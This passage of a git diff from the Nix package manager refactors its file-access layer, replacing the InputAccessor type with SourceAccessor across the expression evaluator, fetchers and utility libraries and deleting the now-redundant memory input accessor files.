--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -1828,12 +1828,12 @@ static RegisterPrimOp primop_hashFile({
     .fun = prim_hashFile,
 });
 
-static Value * fileTypeToString(EvalState & state, InputAccessor::Type type)
+static Value * fileTypeToString(EvalState & state, SourceAccessor::Type type)
 {
     return
-        type == InputAccessor::Type::tRegular ? &state.vStringRegular :
-        type == InputAccessor::Type::tDirectory ? &state.vStringDirectory :
-        type == InputAccessor::Type::tSymlink ? &state.vStringSymlink :
+        type == SourceAccessor::Type::tRegular ? &state.vStringRegular :
+        type == SourceAccessor::Type::tDirectory ? &state.vStringDirectory :
+        type == SourceAccessor::Type::tSymlink ? &state.vStringSymlink :
         &state.vStringUnknown;
 }
 
diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh
index 5795f04cfba..61cf2d31064 100644
--- a/src/libexpr/value.hh
+++ b/src/libexpr/value.hh
@@ -7,7 +7,6 @@
 
 #include "symbol-table.hh"
 #include "value/context.hh"
-#include "input-accessor.hh"
 #include "source-path.hh"
 #include "print-options.hh"
 
@@ -217,7 +216,7 @@ public:
     };
 
     struct Path {
-        InputAccessor * accessor;
+        SourceAccessor * accessor;
         const char * path;
     };
 
@@ -335,7 +334,7 @@ public:
     void mkPath(const SourcePath & path);
     void mkPath(std::string_view path);
 
-    inline void mkPath(InputAccessor * accessor, const char * path)
+    inline void mkPath(SourceAccessor * accessor, const char * path)
     {
         finishValue(tPath, { .path = { .accessor = accessor, .path = path } });
     }
diff --git a/src/libfetchers/fetchers.cc b/src/libfetchers/fetchers.cc
index 0577b8d9d5a..73923907c3a 100644
--- a/src/libfetchers/fetchers.cc
+++ b/src/libfetchers/fetchers.cc
@@ -1,6 +1,5 @@
 #include "fetchers.hh"
 #include "store-api.hh"
-#include "input-accessor.hh"
 #include "source-path.hh"
 #include "fetch-to-store.hh"
 #include "json-utils.hh"
@@ -238,7 +237,7 @@ void InputScheme::checkLocks(const Input & specified, const Input & final) const
     }
 }
 
-std::pair<ref<InputAccessor>, Input> Input::getAccessor(ref<Store> store) const
+std::pair<ref<SourceAccessor>, Input> Input::getAccessor(ref<Store> store) const
 {
     try {
         auto [accessor, final] = getAccessorUnchecked(store);
@@ -252,7 +251,7 @@ std::pair<ref<InputAccessor>, Input> Input::getAccessor(ref<Store> store) const
     }
 }
 
-std::pair<ref<InputAccessor>, Input> Input::getAccessorUnchecked(ref<Store> store) const
+std::pair<ref<SourceAccessor>, Input> Input::getAccessorUnchecked(ref<Store> store) const
 {
     // FIXME: cache the accessor
 
diff --git a/src/libfetchers/fetchers.hh b/src/libfetchers/fetchers.hh
index bb21c68cc83..42b18439340 100644
--- a/src/libfetchers/fetchers.hh
+++ b/src/libfetchers/fetchers.hh
@@ -11,7 +11,7 @@
 #include <memory>
 #include <nlohmann/json_fwd.hpp>
 
-namespace nix { class Store; class StorePath; struct InputAccessor; }
+namespace nix { class Store; class StorePath; struct SourceAccessor; }
 
 namespace nix::fetchers {
 
@@ -84,15 +84,15 @@ public:
     std::pair<StorePath, Input> fetchToStore(ref<Store> store) const;
 
     /**
-     * Return an InputAccessor that allows access to files in the
+     * Return a `SourceAccessor` that allows access to files in the
      * input without copying it to the store. Also return a possibly
      * unlocked input.
      */
-    std::pair<ref<InputAccessor>, Input> getAccessor(ref<Store> store) const;
+    std::pair<ref<SourceAccessor>, Input> getAccessor(ref<Store> store) const;
 
 private:
 
-    std::pair<ref<InputAccessor>, Input> getAccessorUnchecked(ref<Store> store) const;
+    std::pair<ref<SourceAccessor>, Input> getAccessorUnchecked(ref<Store> store) const;
 
 public:
 
@@ -185,7 +185,7 @@ struct InputScheme
         std::string_view contents,
         std::optional<std::string> commitMsg) const;
 
-    virtual std::pair<ref<InputAccessor>, Input> getAccessor(ref<Store> store, const Input & input) const = 0;
+    virtual std::pair<ref<SourceAccessor>, Input> getAccessor(ref<Store> store, const Input & input) const = 0;
 
     /**
      * Is this `InputScheme` part of an experimental feature?
diff --git a/src/libfetchers/filtering-input-accessor.cc b/src/libfetchers/filtering-input-accessor.cc
index e0cbfd905c7..d2b47b5e51c 100644
--- a/src/libfetchers/filtering-input-accessor.cc
+++ b/src/libfetchers/filtering-input-accessor.cc
@@ -13,13 +13,13 @@ bool FilteringInputAccessor::pathExists(const CanonPath & path)
     return isAllowed(path) && next->pathExists(prefix / path);
 }
 
-std::optional<InputAccessor::Stat> FilteringInputAccessor::maybeLstat(const CanonPath & path)
+std::optional<SourceAccessor::Stat> FilteringInputAccessor::maybeLstat(const CanonPath & path)
 {
     checkAccess(path);
     return next->maybeLstat(prefix / path);
 }
 
-InputAccessor::DirEntries FilteringInputAccessor::readDirectory(const CanonPath & path)
+SourceAccessor::DirEntries FilteringInputAccessor::readDirectory(const CanonPath & path)
 {
     checkAccess(path);
     DirEntries entries;
@@ -54,7 +54,7 @@ struct AllowListInputAccessorImpl : AllowListInputAccessor
     std::set<CanonPath> allowedPrefixes;
 
     AllowListInputAccessorImpl(
-        ref<InputAccessor> next,
+        ref<SourceAccessor> next,
         std::set<CanonPath> && allowedPrefixes,
         MakeNotAllowedError && makeNotAllowedError)
         : AllowListInputAccessor(SourcePath(next), std::move(makeNotAllowedError))
@@ -73,7 +73,7 @@ struct AllowListInputAccessorImpl : AllowListInputAccessor
 };
 
 ref<AllowListInputAccessor> AllowListInputAccessor::create(
-    ref<InputAccessor> next,
+    ref<SourceAccessor> next,
     std::set<CanonPath> && allowedPrefixes,
     MakeNotAllowedError && makeNotAllowedError)
 {
diff --git a/src/libfetchers/filtering-input-accessor.hh b/src/libfetchers/filtering-input-accessor.hh
index 133a6cee3d0..ddf18eea432 100644
--- a/src/libfetchers/filtering-input-accessor.hh
+++ b/src/libfetchers/filtering-input-accessor.hh
@@ -1,6 +1,5 @@
 #pragma once
 
-#include "input-accessor.hh"
 #include "source-path.hh"
 
 namespace nix {
@@ -17,9 +16,9 @@ typedef std::function<RestrictedPathError(const CanonPath & path)> MakeNotAllowe
  * control. Subclasses should override `isAllowed()` to implement an
  * access control policy. The error message is customized at construction.
  */
-struct FilteringInputAccessor : InputAccessor
+struct FilteringInputAccessor : SourceAccessor
 {
-    ref<InputAccessor> next;
+    ref<SourceAccessor> next;
     CanonPath prefix;
     MakeNotAllowedError makeNotAllowedError;
 
@@ -67,7 +66,7 @@ struct AllowListInputAccessor : public FilteringInputAccessor
     virtual void allowPrefix(CanonPath prefix) = 0;
 
     static ref<AllowListInputAccessor> create(
-        ref<InputAccessor> next,
+        ref<SourceAccessor> next,
         std::set<CanonPath> && allowedPrefixes,
         MakeNotAllowedError && makeNotAllowedError);
 
diff --git a/src/libfetchers/fs-input-accessor.cc b/src/libfetchers/fs-input-accessor.cc
index 2bbe53e11bd..bd4e4e2cd5d 100644
--- a/src/libfetchers/fs-input-accessor.cc
+++ b/src/libfetchers/fs-input-accessor.cc
@@ -4,22 +4,17 @@
 
 namespace nix {
 
-struct FSInputAccessor : InputAccessor, PosixSourceAccessor
+ref<SourceAccessor> makeFSInputAccessor()
 {
-    using PosixSourceAccessor::PosixSourceAccessor;
-};
-
-ref<InputAccessor> makeFSInputAccessor()
-{
-    return make_ref<FSInputAccessor>();
+    return make_ref<PosixSourceAccessor>();
 }
 
-ref<InputAccessor> makeFSInputAccessor(std::filesystem::path root)
+ref<SourceAccessor> makeFSInputAccessor(std::filesystem::path root)
 {
-    return make_ref<FSInputAccessor>(std::move(root));
+    return make_ref<PosixSourceAccessor>(std::move(root));
 }
 
-ref<InputAccessor> makeStorePathAccessor(
+ref<SourceAccessor> makeStorePathAccessor(
     ref<Store> store,
     const StorePath & storePath)
 {
diff --git a/src/libfetchers/fs-input-accessor.hh b/src/libfetchers/fs-input-accessor.hh
index e60906bd827..80dc74725fb 100644
--- a/src/libfetchers/fs-input-accessor.hh
+++ b/src/libfetchers/fs-input-accessor.hh
@@ -1,6 +1,5 @@
 #pragma once
 
-#include "input-accessor.hh"
 #include "source-path.hh"
 
 namespace nix {
@@ -8,11 +7,11 @@ namespace nix {
 class StorePath;
 class Store;
 
-ref<InputAccessor> makeFSInputAccessor();
+ref<SourceAccessor> makeFSInputAccessor();
 
-ref<InputAccessor> makeFSInputAccessor(std::filesystem::path root);
+ref<SourceAccessor> makeFSInputAccessor(std::filesystem::path root);
 
-ref<InputAccessor> makeStorePathAccessor(
+ref<SourceAccessor> makeStorePathAccessor(
     ref<Store> store,
     const StorePath & storePath);
 
diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc
index e310af063df..5657a6b4f70 100644
--- a/src/libfetchers/git-utils.cc
+++ b/src/libfetchers/git-utils.cc
@@ -1,8 +1,5 @@
 #include "git-utils.hh"
 #include "fs-input-accessor.hh"
-#include "input-accessor.hh"
-#include "filtering-input-accessor.hh"
-#include "memory-input-accessor.hh"
 #include "cache.hh"
 #include "finally.hh"
 #include "processes.hh"
@@ -338,9 +335,9 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this<GitRepoImpl>
      */
     ref<GitInputAccessor> getRawAccessor(const Hash & rev);
 
-    ref<InputAccessor> getAccessor(const Hash & rev, bool exportIgnore) override;
+    ref<SourceAccessor> getAccessor(const Hash & rev, bool exportIgnore) override;
 
-    ref<InputAccessor> getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError e) override;
+    ref<SourceAccessor> getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError e) override;
 
     ref<GitFileSystemObjectSink> getFileSystemObjectSink() override;
 
@@ -477,7 +474,7 @@ ref<GitRepo> GitRepo::openRepo(const std::filesystem::path & path, bool create,
 /**
  * Raw git tree input accessor.
  */
-struct GitInputAccessor : InputAccessor
+struct GitInputAccessor : SourceAccessor
 {
     ref<GitRepoImpl> repo;
     Tree root;
@@ -710,7 +707,7 @@ struct GitExportIgnoreInputAccessor : CachingFilteringInputAccessor {
     ref<GitRepoImpl> repo;
     std::optional<Hash> rev;
 
-    GitExportIgnoreInputAccessor(ref<GitRepoImpl> repo, ref<InputAccessor> next, std::optional<Hash> rev)
+    GitExportIgnoreInputAccessor(ref<GitRepoImpl> repo, ref<SourceAccessor> next, std::optional<Hash> rev)
         : CachingFilteringInputAccessor(next, [&](const CanonPath & path) {
             return RestrictedPathError(fmt("'%s' does not exist because it was fetched with exportIgnore enabled", path));
         })
@@ -928,7 +925,7 @@ ref<GitInputAccessor> GitRepoImpl::getRawAccessor(const Hash & rev)
     return make_ref<GitInputAccessor>(self, rev);
 }
 
-ref<InputAccessor> GitRepoImpl::getAccessor(const Hash & rev, bool exportIgnore)
+ref<SourceAccessor> GitRepoImpl::getAccessor(const Hash & rev, bool exportIgnore)
 {
     auto self = ref<GitRepoImpl>(shared_from_this());
     ref<GitInputAccessor> rawGitAccessor = getRawAccessor(rev);
@@ -940,20 +937,20 @@ ref<InputAccessor> GitRepoImpl::getAccessor(const Hash & rev, bool exportIgnore)
     }
 }
 
-ref<InputAccessor> GitRepoImpl::getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError makeNotAllowedError)
+ref<SourceAccessor> GitRepoImpl::getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError makeNotAllowedError)
 {
     auto self = ref<GitRepoImpl>(shared_from_this());
     /* In case of an empty workdir, return an empty in-memory tree. We
        cannot use AllowListInputAccessor because it would return an
        error for the root (and we can't add the root to the allow-list
        since that would allow access to all its children). */
-    ref<InputAccessor> fileAccessor =
+    ref<SourceAccessor> fileAccessor =
         wd.files.empty()
-        ? makeEmptyInputAccessor()
+        ? makeEmptySourceAccessor()
         : AllowListInputAccessor::create(
             makeFSInputAccessor(path),
             std::set<CanonPath> { wd.files },
-            std::move(makeNotAllowedError)).cast<InputAccessor>();
+            std::move(makeNotAllowedError)).cast<SourceAccessor>();
     if (exportIgnore)
         return make_ref<GitExportIgnoreInputAccessor>(self, fileAccessor, std::nullopt);
     else
diff --git a/src/libfetchers/git-utils.hh b/src/libfetchers/git-utils.hh
index 600a42da064..e264b2f6323 100644
--- a/src/libfetchers/git-utils.hh
+++ b/src/libfetchers/git-utils.hh
@@ -1,7 +1,6 @@
 #pragma once
 
 #include "filtering-input-accessor.hh"
-#include "input-accessor.hh"
 #include "fs-sink.hh"
 
 namespace nix {
@@ -75,9 +74,9 @@ struct GitRepo
 
     virtual bool hasObject(const Hash & oid) = 0;
 
-    virtual ref<InputAccessor> getAccessor(const Hash & rev, bool exportIgnore) = 0;
+    virtual ref<SourceAccessor> getAccessor(const Hash & rev, bool exportIgnore) = 0;
 
-    virtual ref<InputAccessor> getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError makeNotAllowedError) = 0;
+    virtual ref<SourceAccessor> getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError makeNotAllowedError) = 0;
 
     virtual ref<GitFileSystemObjectSink> getFileSystemObjectSink() = 0;
 
diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc
index 985f2e47991..b9a3d5c0dfc 100644
--- a/src/libfetchers/github.cc
+++ b/src/libfetchers/github.cc
@@ -272,7 +272,7 @@ struct GitArchiveInputScheme : InputScheme
         return {std::move(input), tarballInfo};
     }
 
-    std::pair<ref<InputAccessor>, Input> getAccessor(ref<Store> store, const Input & _input) const override
+    std::pair<ref<SourceAccessor>, Input> getAccessor(ref<Store> store, const Input & _input) const override
     {
         auto [input, tarballInfo] = downloadArchive(store, _input);
 
diff --git a/src/libfetchers/indirect.cc b/src/libfetchers/indirect.cc
index 3f21445e101..ba507863138 100644
--- a/src/libfetchers/indirect.cc
+++ b/src/libfetchers/indirect.cc
@@ -97,7 +97,7 @@ struct IndirectInputScheme : InputScheme
         return input;
     }
 
-    std::pair<ref<InputAccessor>, Input> getAccessor(ref<Store> store, const Input & input) const override
+    std::pair<ref<SourceAccessor>, Input> getAccessor(ref<Store> store, const Input & input) const override
     {
         throw Error("indirect input '%s' cannot be fetched directly", input.to_string());
     }
diff --git a/src/libfetchers/memory-input-accessor.cc b/src/libfetchers/memory-input-accessor.cc
deleted file mode 100644
index 34a801f671c..00000000000
--- a/src/libfetchers/memory-input-accessor.cc
+++ /dev/null
@@ -1,29 +0,0 @@
-#include "memory-input-accessor.hh"
-#include "memory-source-accessor.hh"
-#include "source-path.hh"
-
-namespace nix {
-
-struct MemoryInputAccessorImpl : MemoryInputAccessor, MemorySourceAccessor
-{
-    SourcePath addFile(CanonPath path, std::string && contents) override
-    {
-        return {
-            ref(shared_from_this()),
-            MemorySourceAccessor::addFile(path, std::move(contents))
-        };
-    }
-};
-
-ref<MemoryInputAccessor> makeMemoryInputAccessor()
-{
-    return make_ref<MemoryInputAccessorImpl>();
-}
-
-ref<InputAccessor> makeEmptyInputAccessor()
-{
-    static auto empty = makeMemoryInputAccessor().cast<InputAccessor>();
-    return empty;
-}
-
-}
diff --git a/src/libfetchers/memory-input-accessor.hh b/src/libfetchers/memory-input-accessor.hh
deleted file mode 100644
index 63afadd2af5..00000000000
--- a/src/libfetchers/memory-input-accessor.hh
+++ /dev/null
@@ -1,18 +0,0 @@
-#include "input-accessor.hh"
-#include "source-path.hh"
-
-namespace nix {
-
-/**
- * An input accessor for an in-memory file system.
- */
-struct MemoryInputAccessor : InputAccessor
-{
-    virtual SourcePath addFile(CanonPath path, std::string && contents) = 0;
-};
-
-ref<MemoryInputAccessor> makeMemoryInputAccessor();
-
-ref<InputAccessor> makeEmptyInputAccessor();
-
-}
diff --git a/src/libfetchers/mounted-input-accessor.cc b/src/libfetchers/mounted-input-accessor.cc
index b1eeaa97dbf..4d086c7ad72 100644
--- a/src/libfetchers/mounted-input-accessor.cc
+++ b/src/libfetchers/mounted-input-accessor.cc
@@ -2,11 +2,11 @@
 
 namespace nix {
 
-struct MountedInputAccessor : InputAccessor
+struct MountedInputAccessor : SourceAccessor
 {
-    std::map<CanonPath, ref<InputAccessor>> mounts;
+    std::map<CanonPath, ref<SourceAccessor>> mounts;
 
-    MountedInputAccessor(std::map<CanonPath, ref<InputAccessor>> _mounts)
+    MountedInputAccessor(std::map<CanonPath, ref<SourceAccessor>> _mounts)
         : mounts(std::move(_mounts))
     {
         displayPrefix.clear();
@@ -53,7 +53,7 @@ struct MountedInputAccessor : InputAccessor
         return displayPrefix + accessor->showPath(subpath) + displaySuffix;
     }
 
-    std::pair<ref<InputAccessor>, CanonPath> resolve(CanonPath path)
+    std::pair<ref<SourceAccessor>, CanonPath> resolve(CanonPath path)
     {
         // Find the nearest parent of `path` that is a mount point.
         std::vector<std::string> subpath;
@@ -71,7 +71,7 @@ struct MountedInputAccessor : InputAccessor
     }
 };
 
-ref<InputAccessor> makeMountedInputAccessor(std::map<CanonPath, ref<InputAccessor>> mounts)
+ref<SourceAccessor> makeMountedInputAccessor(std::map<CanonPath, ref<SourceAccessor>> mounts)
 {
     return make_ref<MountedInputAccessor>(std::move(mounts));
 }
diff --git a/src/libfetchers/mounted-input-accessor.hh b/src/libfetchers/mounted-input-accessor.hh
index b557c5dad7f..74e040f449b 100644
--- a/src/libfetchers/mounted-input-accessor.hh
+++ b/src/libfetchers/mounted-input-accessor.hh
@@ -1,9 +1,9 @@
 #pragma once
 
-#include "input-accessor.hh"
+#include "source-accessor.hh"
 
 namespace nix {
 
-ref<InputAccessor> makeMountedInputAccessor(std::map<CanonPath, ref<InputAccessor>> mounts);
+ref<SourceAccessor> makeMountedInputAccessor(std::map<CanonPath, ref<SourceAccessor>> mounts);
 
 }
diff --git a/src/libfetchers/path.cc b/src/libfetchers/path.cc
index 67a9fc2f21c..1e9683ae11a 100644
--- a/src/libfetchers/path.cc
+++ b/src/libfetchers/path.cc
@@ -114,7 +114,7 @@ struct PathInputScheme : InputScheme
         throw Error("cannot fetch input '%s' because it uses a relative path", input.to_string());
     }
 
-    std::pair<ref<InputAccessor>, Input> getAccessor(ref<Store> store, const Input & _input) const override
+    std::pair<ref<SourceAccessor>, Input> getAccessor(ref<Store> store, const Input & _input) const override
     {
         Input input(_input);
         std::string absPath;
diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc
index a1f934c35df..8ebc2c2964d 100644
--- a/src/libfetchers/tarball.cc
+++ b/src/libfetchers/tarball.cc
@@ -297,7 +297,7 @@ struct FileInputScheme : CurlInputScheme
                 : (!requireTree && !hasTarballExtension(url.path)));
     }
 
-    std::pair<ref<InputAccessor>, Input> getAccessor(ref<Store> store, const Input & _input) const override
+    std::pair<ref<SourceAccessor>, Input> getAccessor(ref<Store> store, const Input & _input) const override
     {
         auto input(_input);
 
@@ -332,7 +332,7 @@ struct TarballInputScheme : CurlInputScheme
                 : (requireTree || hasTarballExtension(url.path)));
     }
 
-    std::pair<ref<InputAccessor>, Input> getAccessor(ref<Store> store, const Input & _input) const override
+    std::pair<ref<SourceAccessor>, Input> getAccessor(ref<Store> store, const Input & _input) const override
     {
         auto input(_input);
 
diff --git a/src/libfetchers/tarball.hh b/src/libfetchers/tarball.hh
index bcb5dcc5ecf..ba0dfd6230a 100644
--- a/src/libfetchers/tarball.hh
+++ b/src/libfetchers/tarball.hh
@@ -8,7 +8,7 @@
 
 namespace nix {
 class Store;
-struct InputAccessor;
+struct SourceAccessor;
 }
 
 namespace nix::fetchers {
@@ -32,7 +32,7 @@ struct DownloadTarballResult
     Hash treeHash;
     time_t lastModified;
     std::optional<std::string> immutableUrl;
-    ref<InputAccessor> accessor;
+    ref<SourceAccessor> accessor;
 };
 
 /**
diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/unix/git.cc
index 0c54c550458..be44b2eda54 100644
--- a/src/libfetchers/unix/git.cc
+++ b/src/libfetchers/unix/git.cc
@@ -495,7 +495,7 @@ struct GitInputScheme : InputScheme
         }
     }
 
-    std::pair<ref<InputAccessor>, Input> getAccessorFromCommit(
+    std::pair<ref<SourceAccessor>, Input> getAccessorFromCommit(
         ref<Store> store,
         RepoInfo & repoInfo,
         Input && input) const
@@ -629,7 +629,7 @@ struct GitInputScheme : InputScheme
            input accessor consisting of the accessor for the top-level
            repo and the accessors for the submodules. */
         if (getSubmodulesAttr(input)) {
-            std::map<CanonPath, nix::ref<InputAccessor>> mounts;
+            std::map<CanonPath, nix::ref<SourceAccessor>> mounts;
 
             for (auto & [submodule, submoduleRev] : repo->getSubmodules(rev, exportIgnore)) {
                 auto resolved = repo->resolveSubmoduleUrl(submodule.url);
@@ -665,7 +665,7 @@ struct GitInputScheme : InputScheme
         return {accessor, std::move(input)};
     }
 
-    std::pair<ref<InputAccessor>, Input> getAccessorFromWorkdir(
+    std::pair<ref<SourceAccessor>, Input> getAccessorFromWorkdir(
         ref<Store> store,
         RepoInfo & repoInfo,
         Input && input) const
@@ -679,7 +679,7 @@ struct GitInputScheme : InputScheme
 
         auto exportIgnore = getExportIgnoreAttr(input);
 
-        ref<InputAccessor> accessor =
+        ref<SourceAccessor> accessor =
             repo->getAccessor(repoInfo.workdirInfo,
                 exportIgnore,
                 makeNotAllowedError(repoInfo.url));
@@ -690,7 +690,7 @@ struct GitInputScheme : InputScheme
            consisting of the accessor for the top-level repo and the
            accessors for the submodule workdirs. */
         if (getSubmodulesAttr(input) && !repoInfo.workdirInfo.submodules.empty()) {
-            std::map<CanonPath, nix::ref<InputAccessor>> mounts;
+            std::map<CanonPath, nix::ref<SourceAccessor>> mounts;
 
             for (auto & submodule : repoInfo.workdirInfo.submodules) {
                 auto submodulePath = CanonPath(repoInfo.url) / submodule.path;
@@ -755,7 +755,7 @@ struct GitInputScheme : InputScheme
         return {accessor, std::move(input)};
     }
 
-    std::pair<ref<InputAccessor>, Input> getAccessor(ref<Store> store, const Input & _input) const override
+    std::pair<ref<SourceAccessor>, Input> getAccessor(ref<Store> store, const Input & _input) const override
     {
         Input input(_input);
 
diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/unix/mercurial.cc
index df6bc53354a..e85f7e854ff 100644
--- a/src/libfetchers/unix/mercurial.cc
+++ b/src/libfetchers/unix/mercurial.cc
@@ -346,7 +346,7 @@ struct MercurialInputScheme : InputScheme
         return makeResult(infoAttrs, std::move(storePath));
     }
 
-    std::pair<ref<InputAccessor>, Input> getAccessor(ref<Store> store, const Input & _input) const override
+    std::pair<ref<SourceAccessor>, Input> getAccessor(ref<Store> store, const Input & _input) const override
     {
         Input input(_input);
 
diff --git a/src/libutil/input-accessor.hh b/src/libutil/input-accessor.hh
deleted file mode 100644
index 55b7c2f2f84..00000000000
--- a/src/libutil/input-accessor.hh
+++ /dev/null
@@ -1,27 +0,0 @@
-#pragma once
-///@file
-
-#include "source-accessor.hh"
-#include "ref.hh"
-#include "repair-flag.hh"
-
-namespace nix {
-
-MakeError(RestrictedPathError, Error);
-
-struct InputAccessor : virtual SourceAccessor, std::enable_shared_from_this<InputAccessor>
-{
-    std::optional<std::string> fingerprint;
-
-    /**
-     * Return the maximum last-modified time of the files in this
-     * tree, if available.
-     */
-    virtual std::optional<time_t> getLastModified()
-    {
-        return std::nullopt;
-    }
-
-};
-
-}
diff --git a/src/libutil/memory-source-accessor.cc b/src/libutil/memory-source-accessor.cc
index 880fa61b7f8..b7207cffb9b 100644
--- a/src/libutil/memory-source-accessor.cc
+++ b/src/libutil/memory-source-accessor.cc
@@ -108,7 +108,7 @@ std::string MemorySourceAccessor::readLink(const CanonPath & path)
         throw Error("file '%s' is not a symbolic link", path);
 }
 
-CanonPath MemorySourceAccessor::addFile(CanonPath path, std::string && contents)
+SourcePath MemorySourceAccessor::addFile(CanonPath path, std::string && contents)
 {
     auto * f = open(path, File { File::Regular {} });
     if (!f)
@@ -118,7 +118,7 @@ CanonPath MemorySourceAccessor::addFile(CanonPath path, std::string && contents)
     else
         throw Error("file '%s' is not a regular file", path);
 
-    return path;
+    return SourcePath{ref(shared_from_this()), path};
 }
 
 
@@ -184,4 +184,10 @@ void MemorySink::createSymlink(const Path & path, const std::string & target)
         throw Error("file '%s' is not a symbolic link", path);
 }
 
+ref<SourceAccessor> makeEmptySourceAccessor()
+{
+    static auto empty = make_ref<MemorySourceAccessor>().cast<SourceAccessor>();
+    return empty;
+}
+
 }
diff --git a/src/libutil/memory-source-accessor.hh b/src/libutil/memory-source-accessor.hh
index 7a1990d2f72..c8f793922d6 100644
--- a/src/libutil/memory-source-accessor.hh
+++ b/src/libutil/memory-source-accessor.hh
@@ -1,4 +1,4 @@
-#include "source-accessor.hh"
+#include "source-path.hh"
 #include "fs-sink.hh"
 #include "variant-wrapper.hh"
 
@@ -69,7 +69,7 @@ struct MemorySourceAccessor : virtual SourceAccessor
      */
     File * open(const CanonPath & path, std::optional<File> create);
 
-    CanonPath addFile(CanonPath path, std::string && contents);
+    SourcePath addFile(CanonPath path, std::string && contents);
 };
 
 /**
diff --git a/src/libutil/source-accessor.hh b/src/libutil/source-accessor.hh
index 1f272327f81..5f1afb946f7 100644
--- a/src/libutil/source-accessor.hh
+++ b/src/libutil/source-accessor.hh
@@ -35,7 +35,7 @@ enum class SymlinkResolution {
  * filesystem-like entities (such as the real filesystem, tarballs or
  * Git repositories).
  */
-struct SourceAccessor
+struct SourceAccessor : std::enable_shared_from_this<SourceAccessor>
 {
     const size_t number;
 
@@ -168,6 +168,30 @@ struct SourceAccessor
     CanonPath resolveSymlinks(
         const CanonPath & path,
         SymlinkResolution mode = SymlinkResolution::Full);
+
+    /**
+     * A string that uniquely represents the contents of this
+     * accessor. This is used for caching lookups (see `fetchToStore()`).
+     */
+    std::optional<std::string> fingerprint;
+
+    /**
+     * Return the maximum last-modified time of the files in this
+     * tree, if available.
+     */
+    virtual std::optional<time_t> getLastModified()
+    { return std::nullopt; }
 };
 
+/**
+ * Return a source accessor that contains only an empty root directory.
+ */
+ref<SourceAccessor> makeEmptySourceAccessor();
+
+/**
+ * Exception thrown when accessing a filtered path (see
+ * `FilteringInputAccessor`).
+ */
+MakeError(RestrictedPathError, Error);
+
 }
diff --git a/src/libutil/source-path.cc b/src/libutil/source-path.cc
index 2a5b2085828..023b5ed4b91 100644
--- a/src/libutil/source-path.cc
+++ b/src/libutil/source-path.cc
@@ -18,13 +18,13 @@ std::string SourcePath::readFile() const
 bool SourcePath::pathExists() const
 { return accessor->pathExists(path); }
 
-InputAccessor::Stat SourcePath::lstat() const
+SourceAccessor::Stat SourcePath::lstat() const
 { return accessor->lstat(path); }
 
-std::optional<InputAccessor::Stat> SourcePath::maybeLstat() const
+std::optional<SourceAccessor::Stat> SourcePath::maybeLstat() const
 { return accessor->maybeLstat(path); }
 
-InputAccessor::DirEntries SourcePath::readDirectory() const
+SourceAccessor::DirEntries SourcePath::readDirectory() const
 { return accessor->readDirectory(path); }
 
 std::string SourcePath::readLink() const
diff --git a/src/libutil/source-path.hh b/src/libutil/source-path.hh
index b8f69af126a..7e4c3c65d95 100644
--- a/src/libutil/source-path.hh
+++ b/src/libutil/source-path.hh
@@ -7,7 +7,7 @@
 
 #include "ref.hh"
 #include "canon-path.hh"
-#include "input-accessor.hh"
+#include "source-accessor.hh"
 
 namespace nix {
 
@@ -19,10 +19,10 @@ namespace nix {
  */
 struct SourcePath
 {
-    ref<InputAccessor> accessor;
+    ref<SourceAccessor> accessor;
     CanonPath path;
 
-    SourcePath(ref<InputAccessor> accessor, CanonPath path = CanonPath::root)
+    SourcePath(ref<SourceAccessor> accessor, CanonPath path = CanonPath::root)
         : accessor(std::move(accessor))
         , path(std::move(path))
     { }
@@ -51,19 +51,19 @@ struct SourcePath
      * Return stats about this `SourcePath`, or throw an exception if
      * it doesn't exist.
      */
-    InputAccessor::Stat lstat() const;
+    SourceAccessor::Stat lstat() const;
 
     /**
      * Return stats about this `SourcePath`, or std::nullopt if it
      * doesn't exist.
      */
-    std::optional<InputAccessor::Stat> maybeLstat() const;
+    std::optional<SourceAccessor::Stat> maybeLstat() const;
 
     /**
      * If this `SourcePath` denotes a directory (not a symlink),
      * return its directory entries; otherwise throw an error.
      */
-    InputAccessor::DirEntries readDirectory() const;
+    SourceAccessor::DirEntries readDirectory() const;
 
     /**
      * If this `SourcePath` denotes a symlink, return its target;
diff --git a/src/nix-env/nix-env.cc b/src/nix-env/nix-env.cc
index 25c8f43c2f8..b5e13cc2308 100644
--- a/src/nix-env/nix-env.cc
+++ b/src/nix-env/nix-env.cc
@@ -94,11 +94,11 @@ static bool parseInstallSourceOptions(Globals & globals,
 }
 
 
-static bool isNixExpr(const SourcePath & path, struct InputAccessor::Stat & st)
+static bool isNixExpr(const SourcePath & path, struct SourceAccessor::Stat & st)
 {
     return
-        st.type == InputAccessor::tRegular
-        || (st.type == InputAccessor::tDirectory && (path / "default.nix").resolveSymlinks().pathExists());
+        st.type == SourceAccessor::tRegular
+        || (st.type == SourceAccessor::tDirectory && (path / "default.nix").resolveSymlinks().pathExists());
 }
 
 
@@ -119,14 +119,14 @@ static void getAllExprs(EvalState & state,
 
         auto path2 = (path / i).resolveSymlinks();
 
-        InputAccessor::Stat st;
+        SourceAccessor::Stat st;
         try {
             st = path2.lstat();
         } catch (Error &) {
             continue; // ignore dangling symlinks in ~/.nix-defexpr
         }
 
-        if (isNixExpr(path2, st) && (st.type != InputAccessor::tRegular || hasSuffix(path2.baseName(), ".nix"))) {
+        if (isNixExpr(path2, st) && (st.type != SourceAccessor::tRegular || hasSuffix(path2.baseName(), ".nix"))) {
             /* Strip off the `.nix' filename suffix (if applicable),
                otherwise the attribute cannot be selected with the
                `-A' option.  Useful if you want to stick a Nix
@@ -149,7 +149,7 @@ static void getAllExprs(EvalState & state,
                 throw Error("too many Nix expressions in directory '%1%'", path);
             attrs.alloc(attrName).mkApp(&state.getBuiltin("import"), vArg);
         }
-        else if (st.type == InputAccessor::tDirectory)
+        else if (st.type == SourceAccessor::tDirectory)
